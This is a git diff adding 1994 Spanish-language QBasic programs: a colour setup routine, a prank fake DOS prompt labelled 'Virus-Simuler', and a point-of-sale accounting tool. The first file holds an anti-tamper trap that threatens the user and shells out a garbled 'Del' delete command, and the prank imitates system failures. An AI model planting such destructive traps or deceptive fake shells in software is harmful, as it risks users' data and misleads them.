THEN PRINT men$(CurrRow) ELSE PRINT man$(CurrRow) + + IF h = 0 THEN + SELECT CASE CurrRow + CASE 1: Txto = 0 + CASE 2: Txto = 12 + CASE 3: Txto = 10 + CASE 4: Txto = 14 + CASE 5: Txto = 9 + CASE 6: Txto = 13 + CASE 7: Txto = 11 + CASE 8: Txto = 15 + END SELECT + ELSE + SELECT CASE CurrRow + CASE 1: Txto = 0 + CASE 2: Txto = 4 + CASE 3: Txto = 2 + CASE 4: Txto = 14 + CASE 5: Txto = 1 + CASE 6: Txto = 5 + CASE 7: Txto = 3 + CASE 8: Txto = 7 + END SELECT + END IF + + IF CurrCol = 2 THEN + Texto = Txto + ELSEIF CurrCol = 3 THEN + fondo = Txto + END IF + + IF hdos = 0 THEN + SELECT CASE CurrRow + + CASE 1: Txtow = 0 + CASE 2: Txtow = 12 + CASE 3: Txtow = 10 + CASE 4: Txtow = 14 + CASE 5: Txtow = 9 + CASE 6: Txtow = 13 + CASE 7: Txtow = 11 + CASE 8: Txtow = 15 + END SELECT + ELSE + SELECT CASE CurrRow + CASE 1: Txtow = 0 + CASE 2: Txtow = 4 + CASE 3: Txtow = 2 + CASE 4: Txtow = 14 + CASE 5: Txtow = 1 + CASE 6: Txtow = 5 + CASE 7: Txtow = 3 + CASE 8: Txtow = 7 + + END SELECT + END IF + + IF CurrCol = 4 THEN + Despues = Txtow + ELSEIF CurrCol = 5 THEN + DespuesDos = Txtow + END IF + + + COLOR Texto, fondo + minombre$ = "Jos‚ David Guill‚n Dominguez" + + IF MID$(minombre$, 4, 1) <> "‚" THEN GOTO errormo + IF MID$(minombre$, 17, 1) <> "‚" THEN GOTO errormo + + LOCATE 23, 17: PRINT minombre$; + COLOR Despues, DespuesDos + LOCATE 23, 47: PRINT "(c) 07/02/1994" + + COLOR 7, 0 + portero$ = RTRIM$(LTRIM$(STR$(CurrRowt(1) - 1))) + "; 3" + RTRIM$(LTRIM$(STR$(CurrRowt(2) - 1))) + "; 4" + RTRIM$(LTRIM$(STR$(CurrRowt(3) - 1))) + wer$ = "Prompt $e[ " + portero$ + "m $p $g $e[ " + RTRIM$(LTRIM$(STR$(CurrRowt(6) - 1))) + "; 3" + RTRIM$(LTRIM$(STR$(CurrRowt(4) - 1))) + "; 4" + RTRIM$(LTRIM$(STR$(CurrRowt(5) - 1))) + LOCATE 1, 1: PRINT wer$ + "m" + +RETURN +END + +errormo: +CLS +COLOR 15, 0 +PRINT " ATENCION !!! PELIGRO !!!!": PRINT : PRINT +PRINT " Alguien modifico ilegalmente el programa tratando de apropiarse de": PRINT +PRINT " los creditos ajenos a ‚l. Su autor a protegido el sistema por ello": PRINT +PRINT " ya que ha intentado modificar este programa causara estragos en tu": PRINT +PRINT " sistema.... LA PIRATERIA SERA TU MUERTE ": PRINT +PRINT : PRINT : PRINT " Desea regresar al Sistema Operativo DOS o bloquear sistema : " +PRINT " (S)istema (B)loquear (S/B)" +SHELL "Del. >nul" +SYSTEM +END + + + + diff --git a/BAS/PROVEED.BAS b/BAS/PROVEED.BAS new file mode 100644 index 0000000..4ec4ea4 Binary files /dev/null and b/BAS/PROVEED.BAS differ diff --git a/BAS/Q2.BAS b/BAS/Q2.BAS new file mode 100644 index 0000000..817f949 --- /dev/null +++ b/BAS/Q2.BAS @@ -0,0 +1,107 @@ +PRINT +hud = 80 +old$ = TIME$ +simulador: +a$ = "" +hud = hud + 1 +IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$ + + +PRINT "C:\"; LTRIM$(RTRIM$(ch$)); : INPUT ">", a$ +IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO simulador +IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT "Comando o nombre de archivo incorrecto": GOTO simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN + IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO simulador + con = 0: L = 0: lug = 0: p = 0 + DO + con = con + 1 + L = L - 1 + IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO simulador + IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$))) + LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$))) + IF p = 1 THEN ch$ = "": vez = 0: GOTO simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO simulador +END IF + + +IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO simulador +END IF + +IF LEFT$(UCASE$(a$), 2) = "CD" THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO simulador + +END IF + +'******************************************** +'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA +'******************************************** +RESTORE +B$ = "" +w$ = UCASE$(LTRIM$(RTRIM$(a$))) +WHILE B$ <> "*" +READ B$, wqw$ +IF RTRIM$(LEFT$(w$, 4)) = B$ OR RTRIM$(LEFT$(w$, 2)) = B$ THEN GOTO accion +WEND +PRINT "Comando o nombre de archivo incorrecto" + GOTO simulador + +DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7 +DATA "A:", "Cable de enlace con la unidad A, suelto", "B:", "Cable de enlace con la unidad B, suelto" +DATA *,* + +accion: +SELECT CASE VAL(wqw$) + CASE 1 + PRINT + PRINT " Volumen en unidad C no tiene etiqueta" + PRINT " N£mero de serie de volumen es 1138-1600" + PRINT + PRINT " Directorio de C:\" + ch$ + PRINT + PRINT "Archivo no se encontr¢" + PRINT + GOTO simulador + + CASE 2 + PRINT "Imposible acceder a unidad requerida" + GOTO simulador + CASE 3 + CLS + PRINT + GOTO simulador + + CASE 4 + PRINT "Fichero no encontrado" + GOTO simulador + + CASE 5 + COLOR 6 + PRINT "Virus-Simuler por JD" + COLOR 7 + GOTO simulador + + CASE 6 + PRINT : PRINT TIME$: GOTO simulador + + CASE 7 + PRINT : PRINT DATE$: GOTO simulador + +END SELECT +PRINT wqw$ +GOTO simulador + +END + diff --git a/BAS/REF#.BAS b/BAS/REF#.BAS new file mode 100644 index 0000000..f83454b Binary files /dev/null and b/BAS/REF#.BAS differ diff --git a/BAS/TPV.BAS b/BAS/TPV.BAS new file mode 100644 index 0000000..31621b5 --- /dev/null +++ b/BAS/TPV.BAS @@ -0,0 +1,2101 @@ +' +' Q B a s i c P e r s o n a l F i n a n c i a l +' +' Copyright (C) Microsoft Corporation 1990 + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations +DECLARE SUB ScrollUp () +DECLARE SUB ScrollDown () +DECLARE SUB Initialize () +DECLARE SUB center (Row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB Box (Row1%, Col1%, Row2%, Col2%) +DECLARE SUB PrintHelpLine (help$) +DECLARE SUB ImpRef (po%) +DECLARE SUB ImpComp (so%) +DECLARE SUB Vende (r%) +DECLARE SUB Elif () +DECLARE SUB Staul () +DECLARE SUB Ticket (e%) +DECLARE SUB Stock (EE%) +DECLARE SUB Balan (EEE%) +DECLARE FUNCTION Cvit$ (x%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, Choice$(), ItemRow%(), ItemCol%(), help$(), BarMode%) +DECLARE FUNCTION GetString$ (Row%, Col%, start$, end$, vis%, max%) +DECLARE FUNCTION Trim$ (x$) + +'Constants +CONST true = -1 +CONST false = NOT true + +'User-defined types +TYPE AccountType + Title AS STRING * 20 + AType AS STRING * 1 + Desc AS STRING * 50 +END TYPE + +TYPE Recordtype + Date AS STRING * 8 + Ref AS STRING * 10 + Desc AS STRING * 50 + Fig1 AS DOUBLE + Fig2 AS DOUBLE +END TYPE + +'Global variables +DIM SHARED Account(1 TO 19) AS AccountType 'Stores the 19 account titles +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED ScrollUpAsm(1 TO 7) 'Assembly Language Routines +DIM SHARED ScrollDownAsm(1 TO 7) +DIM SHARED Fecha$(1), fech$(1) +COMMON SHARED Account() AS AccountType, ColorPref, colors(), ScrollUpAsm(), ScrollDownAsm(), printerr AS INTEGER, Choice, SubChoice + + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ErrorTrap + OPEN "Personal.cfg" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ErrorTrap: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + FOR A = 1 TO 19 + Account(A).Title = "" + Account(A).AType = "" + Account(A).Desc = "" + NEXT A + SaveState + RESUME + CASE 24, 25 + printerr = true + Box 8, 13, 14, 69 + center 11, "La impresora no responde ..." + center 12, "Presione Barra espaciadora para continuar" + WHILE INKEY$ <> "": WEND + + RESUME NEXT + CASE ELSE + END SELECT + RESUME NEXT + +ErrorCaj: + OPEN "Caja.cfg" FOR OUTPUT AS #1 + PRINT #1, "N" + CLOSE +RESUME NEXT + + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +'The following data is actually a machine language program to +'scroll the screen up or down very fast using a BIOS call. +DATA &HB8,&H01,&H06,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB +DATA &HB8,&H01,&H07,&HB9,&H01,&H04,&HBA,&H4E,&H16,&HB7,&H00,&HCD,&H10,&HCB + +SUB Balan (EE%) + +END SUB + +'Box: +' Draw a box on the screen between the given coordinates. +SUB Box (Row1, Col1, Row2, Col2) STATIC + + BoxWidth = Col2 - Col1 + 1 + + LOCATE Row1, Col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR A = Row1 + 1 TO Row2 - 1 + LOCATE A, Col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT A + + LOCATE Row2, Col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +END SUB + +'Center: +' Center text on the given row. +SUB center (Row, text$) + LOCATE Row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +'Cvit$: +' Convert an integer to a string WITHOUT a leading space. +FUNCTION Cvit$ (x) + Cvit$ = RIGHT$(STR$(x), LEN(STR$(x)) - 1) +END FUNCTION + +SUB Elif + +END SUB + +'FancyCls: +' Clears screen in the right color, and draws nice dots. +SUB FancyCls (dots, Background) + + VIEW PRINT 2 TO 24 + COLOR dots, Background + CLS 2 + + FOR A = 95 TO 1820 STEP 45 + Row = A / 80 + 1 + Col = A MOD 80 + 1 + LOCATE Row, Col + PRINT CHR$(250); + NEXT A + + VIEW PRINT + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (Row, Col, start$, end$, vis, max) + Curr$ = Trim$(LEFT$(start$, max)) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = false + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(kbd$) > 1 THEN + finished = true + GetString$ = kbd$ + ELSE + SELECT CASE kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = true + GetString$ = kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "}" + IF LEN(Curr$) < max THEN + Curr$ = Curr$ + kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE Row, Col + IF LEN(Curr$) > vis THEN + PRINT RIGHT$(Curr$, vis); + ELSE + PRINT Curr$; SPACE$(vis - LEN(Curr$)); + LOCATE Row, Col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +SUB ImpComp (so%) + + 'Stores info about each column + + 'Array to keep the current balance at all the transactions + + REDIM Col(6), Balance#(1000) + mes$ = MID$(DATE$, 1, 2) + an$ = MID$(DATE$, 7, 4) + comes$ = mes$ + "-" + an$ + gf = 0 + Box 17, 5, 21, 75 + center 18, "Por Favor Introduzca Mes y a¤o" + center 19, "para imprimir gastos." + PrintHelpLine "Mes y A¤o: mm-aaaa" + DO + emp$ = GetString$(20, 7, comes$, end$, 10, 10) + Fecha$ = end$ + mes$ = MID$(Fecha$, 1, 2) + IF VAL(mes$) <= 12 THEN gf = 1 + IF LEN(Fecha$) < 7 THEN gf = 0 + LOOP WHILE gf = 0 + gf = 0 + + + mes$ = MID$(Fecha$, 1, 2) + an$ = MID$(Fecha$, 4, 4) + + + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + + + 'Open random access file + + file$ = "E-" + mes$ + an$ + "." + Cvit$(so%) + + OPEN file$ FOR RANDOM AS #1 LEN = 59 + + FIELD #1, 2 AS IoDia$, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoUnd$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Este mes, esta vacio, verifique esto." + center 19, "--> Pulse una tecla <--" + SLEEP + EXIT SUB + END IF + + MaxRecord = VAL(IoMaxRecord$) + + Balance#(0) = 0 + A = 1 + WHILE A <= MaxRecord + GET #1, A + 1 + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + BalTotal# = BalTotal# + Balance#(A) + A = A + 1 + WEND + + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT + +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + +Box 8, 13, 14, 69 + + LPRINT SPACE$(80); + LPRINT "Empresa: " + Trim$(Account(so%).Title); + GOSUB ObtMes + + LPRINT TAB(63); "Fecha: " + Fecha$; + LPRINT + + LPRINT "Dia³ Ref# ³ Concepto ³ Und ³Und/C³ P.V.P. ³ P.C. ³ Beneficios "; + LPRINT "ÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ ³ ³ ³ "; + + + u2$ = "##,###,###" + u3$ = "####,###,###" + u5$ = "###" + u6$ = "######" + u9$ = "#,###,###,###,###" + Curlip = 3 + + A = 1 + Curlip = 0 + + WHILE A <= MaxRecord + GET #1, A + 1 + Curlip = Curlip + 1 + IF Curlip = 50 THEN GOSUB PausePage + + + dia$ = IoDia$ + r# = VAL(IoRef$) + D$ = IoDesc$ + p# = VAL(IoPvp$) + p1# = VAL(IoUnd$) + p2# = VAL(IoCC$) + p3# = VAL(IoPc$) + Balance#(A) = p# * p1# * p2# - p1# * p2# * p3# + + IF LEN(dia$) = 1 THEN LPRINT TAB(3); dia$ + "³"; ELSE LPRINT TAB(2); dia$ + "³"; + + + IF r# <> 0 THEN LPRINT USING u6$; r#; ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(D$)) <> "" THEN LPRINT "³" + D$; ELSE LPRINT "³ "; + + IF p1# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p1#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; p2#; : LPRINT " "; ELSE LPRINT "³ "; + + IF p3# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p3#; ELSE LPRINT "³ "; + + IF p2# <> 0 THEN LPRINT "³"; : LPRINT USING u2$; p2#; ELSE LPRINT "³ "; + LPRINT "³"; + LPRINT USING u3$; Balance#(A); + + A = A + 1 + WEND + + LPRINT "ßßß³ßßßßßß³ßßßßßßßßßßßßßßßßßßßßßß³ßßßßß³ßßßßß³ßßßßßßßßßß³ßßßßßßßßßß³ßßßßßßßßßßßß"; + LPRINT "ÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " Balance total:"; USING u9$; BalTotal#; + LPRINT "ÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT "ÜÜܳÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜܳÜÜÜÜܳÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜܳÜÜÜÜÜÜÜÜÜÜÜÜ" + LPRINT "Programa Realizado por J.D. para Guill‚n Dominguez s.l" + EXIT SUB + + +PausePage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +Box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + +ObtMes: + +SELECT CASE VAL(mes$) + CASE 1: Fecha$ = "Enero, " + an$ + CASE 2: Fecha$ = "Febr., " + an$ + CASE 3: Fecha$ = "Marzo, " + an$ + CASE 4: Fecha$ = "Abril, " + an$ + CASE 5: Fecha$ = "Mayo, " + an$ + CASE 6: Fecha$ = "Junio, " + an$ + CASE 7: Fecha$ = "Julio, " + an$ + CASE 8: Fecha$ = "Agost, " + an$ + CASE 9: Fecha$ = "Sept., " + an$ + CASE 10: Fecha$ = "Octu., " + an$ + CASE 11: Fecha$ = "Nov., " + an$ + CASE 12: Fecha$ = "Dicc., " + an$ +END SELECT +RETURN + + +END SUB + +SUB ImpRef (po%) + + + REDIM CurrFig#(5), CurrString$(1) + + file$ = "Ref#." + Cvit$(po%) + + OPEN file$ FOR RANDOM AS #1 LEN = 54 + + FIELD #1, 6 AS IoRef$, 22 AS IoDesc$, 3 AS IoCC$, 8 AS IoPvp$, 8 AS IoPc$ + FIELD #1, 2 AS valid$, 5 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ <> "SI" THEN + center 18, "Al parecer esta empresa no tiene ref." + center 19, "Verifique estos datos. PAK" + SLEEP + EXIT SUB + END IF + MaxRecord = VAL(IoMaxRecord$) + Box 17, 5, 21, 75 + center 18, "Imprimiendo Referencias" + center 19, "Por favor, espere ..." + +DO +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +LOOP WHILE printerr = true + + + LPRINT "Referencias de la Empresa: " + Trim$(Account(po%).Title); + LPRINT " " + + LPRINT " Ref# ³ Concepto ³ Und/C ³ P.V.P. ³ P.C. "; + LPRINT "ÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ"; + LPRINT " ³ ³ ³ ³ " + u1x$ = "ßßßßßßßßßß³ßßßßßßßßßßßßßßßßßßßßßßßß³ßßßßßßßßß³ßßßßßßßßßßßß³ßßßßßßßßßßßßß" + u2$ = "##,###,###" + u5$ = "###" + u6$ = "######" + + A = 1 + WHILE A <= MaxRecord + GET #1, A + 1 + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoCC$) + CurrFig#(4) = VAL(IoPvp$) + CurrFig#(5) = VAL(IoPc$) + + + ds = ds + 1 + IF ds = 50 THEN GOSUB finpage + + IF CurrFig#(2) <> 0 THEN LPRINT " "; : LPRINT USING u6$; CurrFig#(2); ELSE LPRINT " "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN LPRINT "³ " + CurrString$(1); ELSE LPRINT "³ "; + + IF CurrFig#(3) <> 0 THEN LPRINT " ³ "; : LPRINT USING u5$; CurrFig#(3); : LPRINT " "; ELSE LPRINT " ³ "; + + IF CurrFig#(4) <> 0 THEN LPRINT "³ "; : LPRINT USING u5$; CurrFig#(4); : LPRINT " "; ELSE LPRINT "³ "; + + IF CurrFig#(5) <> 0 THEN LPRINT "³ "; : LPRINT USING u2$; CurrFig#(5) ELSE LPRINT "³ " + + + A = A + 1 + WEND + + EXIT SUB + +finpage: + + center 18, "Inserte una hoja en la impresora" + center 19, "Y pulse una tecla... " + SLEEP +DO +kop = 0 +printerr = false +ON ERROR GOTO ErrorTrap +LPRINT +kdb$ = INKEY$ +WHILE kdb$ = "": kdb$ = INKEY$: WEND +IF kdb$ = CHR$(27) THEN EXIT SUB + +Box 8, 13, 14, 69 +LOOP WHILE printerr <> true + + center 18, "Imprimiendo Fecha Seleccionada" + center 19, "Por favor, espere ..." + +RETURN + + +END SUB + +'Initialize: +' Read colors in and set up assembly routines +SUB Initialize + + WIDTH , 25 + + VIEW PRINT + + FOR ColorSet = 1 TO 4 + FOR x = 1 TO 10 + READ colors(x, ColorSet) + NEXT x + NEXT ColorSet + + LoadState + + p = VARPTR(ScrollUpAsm(1)) + DEF SEG = VARSEG(ScrollUpAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + p = VARPTR(ScrollDownAsm(1)) + DEF SEG = VARSEG(ScrollDownAsm(1)) + FOR i = 0 TO 13 + READ J + POKE (p + i), J + NEXT i + + DEF SEG + +END SUB + +'LoadState: +' Load color preferences and account info from Personal.cfg +SUB LoadState + + OPEN "Personal.cfg" FOR INPUT AS #1 + INPUT #1, ColorPref + + FOR A = 1 TO 10 + LINE INPUT #1, Account(A).Title + NEXT A + + CLOSE + +END SUB + +'Menu: +' Handles Menu Selection for a single menu (either sub menu, or menu bar) +' currChoiceX : Number of current choice +' maxChoice : Number of choices in the list +' choice$() : Array with the text of the choices +' itemRow() : Array with the row of the choices +' itemCol() : Array with the col of the choices +' help$() : Array with the help text for each choice +' barMode : Boolean: TRUE = menu bar style, FALSE = drop down style +' +' Returns the number of the choice that was made by changing currChoiceX +' and returns the scan code of the key that was pressed to exit +' +FUNCTION Menu (CurrChoiceX, MaxChoice, Choice$(), ItemRow(), ItemCol(), help$(), BarMode) + + currChoice = CurrChoiceX + + 'if in bar mode, color in menu bar, else color box/shadow + 'bar mode means you are currently in the menu bar, not a sub menu + IF BarMode THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 1 + PRINT SPACE$(80); + ELSE + IF boorra <> 0 THEN FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box ItemRow(1) - 1, ItemCol(1) - 1, ItemRow(MaxChoice) + 1, ItemCol(1) + LEN(Choice$(1)) + 1 + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR A = 1 TO MaxChoice + 1 + LOCATE ItemRow(1) + A - 1, ItemCol(1) + LEN(Choice$(1)) + 2 + PRINT CHR$(178); CHR$(178); + NEXT A + LOCATE ItemRow(MaxChoice) + 2, ItemCol(MaxChoice) + 2 + PRINT STRING$(LEN(Choice$(MaxChoice)) + 2, 178); + END IF + + 'print the choices + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR A = 1 TO MaxChoice + LOCATE ItemRow(A), ItemCol(A) + PRINT Choice$(A); + NEXT A + + finished = false + + WHILE NOT finished + + GOSUB MenuShowCursor + GOSUB MenuGetKey + GOSUB MenuHideCursor + + SELECT CASE kbd$ + CASE CHR$(0) + "H": GOSUB MenuUp + CASE CHR$(0) + "P": GOSUB MenuDown + CASE CHR$(0) + "K": GOSUB MenuLeft + CASE CHR$(0) + "M": GOSUB MenuRight + CASE CHR$(13): GOSUB MenuEnter + CASE CHR$(27): GOSUB MenuEscape + CASE ELSE: BEEP + END SELECT + WEND + + Menu = currChoice + + EXIT FUNCTION + + +MenuEnter: + finished = true + RETURN + +MenuEscape: + currChoice = 0 + finished = true + RETURN + +MenuUp: + IF BarMode THEN + BEEP + ELSE + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + END IF + RETURN + +MenuLeft: + IF BarMode THEN + currChoice = (currChoice + MaxChoice - 2) MOD MaxChoice + 1 + ELSE + currChoice = -2 + finished = true + END IF + RETURN + +MenuRight: + IF BarMode THEN + currChoice = (currChoice) MOD MaxChoice + 1 + ELSE + currChoice = -3 + finished = true + END IF + RETURN + +MenuDown: + IF BarMode THEN + finished = true + ELSE + currChoice = (currChoice) MOD MaxChoice + 1 + END IF + RETURN + +MenuShowCursor: + COLOR colors(8, ColorPref), colors(9, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + PrintHelpLine help$(currChoice) + RETURN + +MenuGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + + WEND + RETURN + +MenuHideCursor: + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE ItemRow(currChoice), ItemCol(currChoice) + PRINT Choice$(currChoice); + RETURN + + +END FUNCTION + +'MenuSystem: +' Main routine that controls the program. Uses the MENU function +' to implement menu system and calls the appropriate function to handle +' the user's selection +SUB MenuSystem + + boorra = 1 + + DIM Choice$(20), menuRow(20), menuCol(20), help$(20) + LOCATE , , 0 + Choice = 1 + finished = false + + WHILE NOT finished + + GOSUB MenuSystemMain + + SubChoice = -1 + WHILE SubChoice < 0 + SELECT CASE Choice + CASE 1: GOSUB MenuSystemFile + CASE 2: GOSUB MenuSystemEdit + CASE 3: GOSUB MenuSystemAccount + CASE 4: GOSUB MenuSystemReport + CASE 5: GOSUB MenuSystemColors + CASE 6: GOSUB help + END SELECT + FancyCls colors(2, ColorPref), colors(1, ColorPref) + + SELECT CASE SubChoice + CASE -2: Choice = (Choice + 3) MOD 5 + 1 + CASE -3: Choice = (Choice) MOD 6 + 1 + END SELECT + WEND + WEND + EXIT SUB + + +MenuSystemMain: + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 9, 19, 14, 61 + center 11, "Use las teclas de direcci¢n para el men£" + center 12, "Presione Entrar para elegir elemento" + + Choice$(1) = " Archivo " + Choice$(2) = " Proveedores " + Choice$(3) = " Transacciones " + Choice$(4) = " Clientes " + Choice$(5) = " Colores " + Choice$(6) = " Ayuda " + + menuRow(1) = 1: menuCol(1) = 2 + menuRow(2) = 1: menuCol(2) = 12 + menuRow(3) = 1: menuCol(3) = 26 + menuRow(4) = 1: menuCol(4) = 42 + menuRow(5) = 1: menuCol(5) = 53 + menuRow(6) = 1: menuCol(6) = 72 + + help$(1) = "Salir del T.P.V" + help$(2) = "Agregar/edit/supr Proveedores" + 